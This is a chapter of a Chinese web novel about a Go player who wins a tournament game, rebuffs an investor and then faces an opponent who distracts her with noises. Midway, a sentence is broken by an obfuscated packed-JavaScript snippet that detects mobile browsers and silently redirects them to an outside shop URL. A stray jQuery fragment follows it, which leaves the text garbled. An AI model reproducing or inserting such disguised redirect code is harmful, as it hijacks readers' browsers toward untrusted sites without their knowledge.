文趣网 > 都市小说 > 她将执棋 > 14. 第 14 章
    百手之后,棋盘上的疆域大致划定。

    白棋外势浩瀚,实地却有些吃紧;

    黑棋实地坚实,但出头的棋形略显单薄。

    胜负的关键,在于黑棋如何处理好中腹那块尚未完全安定的孤棋,也在于白棋如何将厚势真正转化为目数。

    ......

    姜声深吸一口气。

    他知道,必须发力了。

    白棋一手凶狠的“靠断”,直接揪住黑棋大龙的尾巴,屠龙的意图昭然若揭。

    观战室响起一阵低低的惊呼。

    严争玉端起旁边的水杯抿了口,水温早已没有温度,宛如她现在的眼神。

    屠龙?

    她心里掠过一丝极淡的嘲讽。

    前世与国手对弈,比这凶险十倍的屠龙局,她也不知经历过多少。

    力战者,往往过于执着于一击必杀,而忽略了全局的平衡。

    她没有立刻应对那手“靠断”,而是突然在棋盘上方、白棋厚势的边缘地带,投下一颗黑子。

    “碰”!

    姜声愣住了,脸上流露出恼怒之情。

    这是一手极其大胆的试应手,近乎挑衅。

    它在问白棋:你是继续攻击我的大龙,还是回头护住你自己的模样?

    如果护,攻击的节奏就断了;

    如果不护,黑棋便有可能在白棋的势力范围内活出一块。

    姜声盯着那颗黑子,又看看自己即将发起致命一击的攻击点,陷入了长考。

    计时器上,他的保留时间开始快速流逝。

    五分钟,十分钟。

    最终,他不敢放任黑棋在上方活棋,选择了回防。

    攻势,就此中断。

    严争玉这才不慌不忙地处理自己的大龙。

    几手轻巧的腾挪过后,原本看似危险的孤棋顿时有了弹性。

    虽未完全安定,但白棋已无法轻易杀死。

    ……

    棋局不可避免地走向了官子。

    这是最枯燥、也最考验棋手硬实力的阶段,每一目都可能决定胜负。

    姜声的呼吸粗重起来。

    进入细棋官子,本就不是他的强项,更何况在刚才的攻防转换中,他耗费了大量时间和心力,却收获寥寥。

    官子阶段,他收得略显毛躁。

    而严争玉的每一手,都精准得像用尺子量过,最大限度地搜刮着目数。

    最后一个单官收完,裁判示意双方棋手离座,等待数目。

    ......

    姜声脸色灰败,呆呆地看着棋盘。

    周慕远不知何时已经起身走到一旁,对刚回来的助理低声吩咐了几句。

    助理迅速记录。

    数目结果很快出来:黑棋一百八十五子,胜一目半。

    裁判宣布:“本局,黑棋胜。”

    赢了。

    虽然只是八进四,但这座山,她翻过来了。

    在对手擅长的领域,用对手不擅长的方式。

    ......

    严争玉起身向对手和裁判微微颔首。

    转身离开后疲惫感才后知后觉地涌上来,太阳穴一跳一跳地疼。

    刚走出对局室,一个人影挡在了面前。

    周慕远脸上挂着商人的得体微笑,向她伸出手,

    “严小姐,恭喜。棋艺精湛,心理素质极佳,令人钦佩。”

    严争玉看着他伸出的手,没有要接的意思,

    “我们认识吗?”

    周慕远愣了一下,但没有表现出来,从西装口袋里取出一张名片递过来,

    “我们可以重新认识一下。”

    严争玉看到名片上写着:周慕远,长风资本首席执行官。

    长风资本!!!

    原来是他...

    只是昨晚酒吧里那种朦胧的探究已经消失不见,眼前之人的目光中带着更直白的审视。

    “周总过奖。”

    她每个字都咬得很重。

    “严小姐太谦虚了。”

    周慕远似乎很满意她的反应,自然地收回名片,笑容不变,

    “不知今晚是否有空?

    “我知道一家很不错的日料店,环境安静。

    “我们可以共进晚餐,顺便聊聊棋院的未来。

    “我对围棋产业一直很有兴趣,尤其是像严小姐这样有独特风格的棋手,值得更多支持。”

    棋院的未来?就差把威胁写在脸上!

    她正要开口回绝,一个熟悉的声音从身后传来:

    “周总的好意,心领了。”

    贺其年不知何时出现,腕间搭着一件西装外套。

    他从容地走过来,将外套披在严争玉肩上,整个动作自然又亲昵。

    贺其年目光越过严争玉,直接落在周慕远脸上,语气礼貌却疏淡,透着无形的隔断:

    “不过,我的妻子累了,需要休息。棋院的事,不劳周总费心。”

    说着,从身后搂上严争玉的肩膀,拉向自己怀里。

    严争玉身体一僵,却动弹不得,只能陪着贺其年演戏,挤出“娇羞”的微笑。

    看到二人的亲昵之举,周慕远先是眉梢一动,目光在两人之间来回打量,然后开口道:

    “原来如此。看来外界传言不真,贺总对夫人真是体贴。那就不打扰了。”

    周慕远朝贺其年颔首致意,又单独对严争玉说:

    “严小姐,我们下次再聊。”

    周慕远的身影逐渐远去,走廊里只剩下贺其年和严争玉两人。

    “戏演完了,观众都退场了。”

    严争玉甩开他的手,将外套还给他。

    贺其年的目光这才转向她,看了几秒,目光沉沉。

    “恭喜你,被周慕远盯上了。”

    贺其年开口,听不出心情好坏。

    严争玉避开他的视线,“我都不怕,你怕什么?”

    “那就走吧。”

    贺其年转身朝出口走去,

    “车在外面。我们回家。”

    贺其年的车停在地下停车场的专属车位上,一辆线条流畅的黑色轿车,安静蛰伏。

    他拉开副驾驶的门,严争玉却没看他,径直坐了进去。

    皮革座椅微凉,车门关上隔绝了外界。

    引擎启动的声音低缓,车子平稳滑出车位。

    贺其年单手扶着方向盘,另一只手扯了扯领带结,动作里透着一丝烦躁。

    沉默在狭小的空间里发酵,车载屏幕上的路线,正指向那间冰冷的公寓。

    严争玉始终望向窗外,飞速倒退的光影在她眼底映不出半点温度。

    “半决赛的对手资料一会儿发给你。赵广平,四十七岁,业余七段,拿过两次全国业余锦标赛亚军。”

    贺其年的声音在身侧响起,严争玉目光不变,依旧望着窗外。

    “他的棋风不算顶尖,但很难缠。尤其擅长在盘外做文章。”

    严争玉来了兴趣,看向他冷硬的侧颜,“盘外?”

    “嗯。小动作很

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17505398|201938||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    多,叹气、摇头、故意弄出声响,甚至频繁要求喝水、去洗手间。

    “目的就是打乱对手节奏,干扰思考。心理战的高手。”

    他描述得平静,严争玉却微微蹙起眉。

    前世对弈,讲究正襟危坐,心无旁骛,虽也有攻心为上之说,但多是棋局内的气势压制,这般下作伎俩,实属罕见。

    “组委会不管?”她不解。

    “抓不到明确违规。他的动作都在规则允许的灰色地带,裁判警告过,但效果有限。”

    贺其年打了转向灯,车子拐入一条相对安静的道路,

    “很多人输给他,不是输在棋力,是输在心浮气躁。”

    事已至此,兵来将挡,水来土掩。

    严争玉的目光重新看向前方,“我知道了。”

    车子停在公寓地下停车场,贺其年还没熄火,严争玉已经解开安全带。

    她推开车门,夜风灌进来,吹起颊边碎发。

    贺其年看着她下车,关上门,头也不回地走向公寓大堂入口。

    ......

    半决赛安排在两天后。

    场地换到了市体育中心一个更大的对局室,观众席多了不少,媒体区的长枪短炮也明显密集起来。

    严争玉走进对局室时,她的对手赵广平已经到了。

    是个微微发福的中年男人,穿着不太合身的西装,正拿着保温杯慢悠悠地喝着茶。

    他掀起眼皮打量了一下严争玉,点了点头,算是打过招呼。

    ......

    猜先,严争玉执黑。

    布局阶段波澜不惊。

    赵广平的棋风确实如贺其年所说,扎实,但缺乏锐意,遵循着最常见的套路。

    严争玉落子速度不快,每一步都经过计算,黑棋的阵势缓缓铺开,带着一种沉静的张力。

    ......

    进入中盘,严争玉开始深入白棋模样,试图挑起战斗,赵广平的“盘外招”开始了。

    他落下一子,却没有立刻收回手,而是悬在棋盘上方,食指和中指颤抖着带动袖口摩擦棋盘边缘,发出持续的沙沙声。

    声音不大,但落在需要高度集中精神得严争玉耳中,像是有小虫在爬。

    严争玉捏紧棋子,抬眼提醒他。

    赵广平仿佛对细微的噪音浑然不觉,眉头紧锁看着棋盘,假装陷入长考。

    她垂下眼,试图忽略。

    可那声音仿佛有生命,钻进她的耳朵,搅动着她的思绪。

    每次线路计算到一半就被打断,她不得不重新开始。

    严争玉落子的节奏微微乱了,赵广平敏锐地察觉到这一点。

    他端起保温杯,拧开盖子,慢条斯理地对着杯子吹气,发出“呼呼”的声音。

    严争玉好不容易忽略这声音,他放下杯子时用力一砸,“咔”的一声,整个棋盘上的棋子都跟着震动。

    终于消停片刻,紧接着,是叹息。

    那种从鼻腔里发出的、带着惋惜意味的“嗯...”,恰好在严争玉凝神思时响起。

    她感到一股火气从心底窜起,前世她何曾受过这等龌龊气?

    呼吸不由得急促了半分,就是这半分紊乱,让她在接下来的一个局部交接中出现了误算。

    黑棋原本可以走厚的一手,但她下得略显急躁,给了白棋可乘之机。

    赵广平眼睛一亮,立刻抓住白棋“啪”地打入,原本平衡的局面瞬间倾斜,黑棋一块变得有些局促。

    ......